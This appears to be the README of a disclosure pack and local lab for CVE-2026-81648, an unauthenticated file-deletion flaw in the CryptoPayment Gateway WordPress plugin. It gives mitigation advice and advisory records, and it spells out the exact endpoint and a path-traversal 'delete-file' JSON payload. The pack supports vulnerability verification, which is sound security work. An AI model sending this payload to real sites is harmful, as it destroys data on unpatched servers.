abraxas/cve-2026-81648Proof-of-concept exploit and lab for CVE-2026-81648, an unauthenticated arbitrary file deletion flaw in the WordPress CryptoPayment Gateway plugin.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-81648
WordPress — CryptoPayment Gateway 1.2.2 — Granwill
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
| CVE | CVE-2026-81648 · CVE.org |
| CWE | CWE-862 |
| CVSS | Critical: 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Product | WordPress — CryptoPayment Gateway |
| Affected | 1.2.1–1.2.2 |
| Patched | no public patch (WPScan: no known fix) |
| Auth | none (see source map) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 only · vendor/client disclosure pack, not a scanner |
delete-file on cryptd/ajax.php is the sink. HTTP is that PHP file, not admin-ajax.php.
POST/wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.phpGET /wp-content/poc81648/index.php expect POCWitness81648POST ajax.php data={"function":"delete-file","file_name":"../../../../../poc81648/index.php","folder":""}crpay_file_delete unlinks wp-content/poc81648/index.phpGET witness URL no POCWitness81648POCWitness81648 present before POST, absent after. JSON success without the delete is not it.
Do this first: There is no public patch. Disable CryptoPayment Gateway or block vendor/cryptd/ajax.php until a vendor release exists.
Verify after upgrade
CVE-2026-81648-Abraxas-Labs.py against the patched build: the mapped witness must not appear.If you cannot update immediately
Target only http://127.0.0.1:8088 (or the loopback you bound). Do not point this script at the internet.
python3 CVE-2026-81648-Abraxas-Labs.py
Success is the witness above in the response body. Generic 200 HTML is not it.
Loopback stack used to reproduce. Official images unless a Dockerfile in this folder builds from source.
cd lab
docker compose up --force-recreate
Bind the vulnerable product tree next to Compose if the YAML mounts a local directory (plugin zip / source tag from the version table). Publish nothing except 127.0.0.1.
# CVE-2026-81648 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-81648`
- CWE: CWE-862
- published: 2026-09-13T21:17:01.930
## NVD description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
## MITRE description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
## Affected
- Unknown CryptoPayment Gateway 1.2.1 affected
## References (JSON sources only)
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
- https://github.com/advisories/GHSA-9r3q-6qw8-8pm7
- https://nvd.nist.gov/vuln/detail/CVE-2026-81648
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898
## GitHub advisory
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization...
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
This disclosure pack is licensed under the GNU Affero General Public License v3.0. See LICENSE.
This pack is for the vendor, the site owner, and licensed labs. The script talks to 127.0.0.1. Using it against systems you do not own is not authorized by Abraxas Labs. No warranty.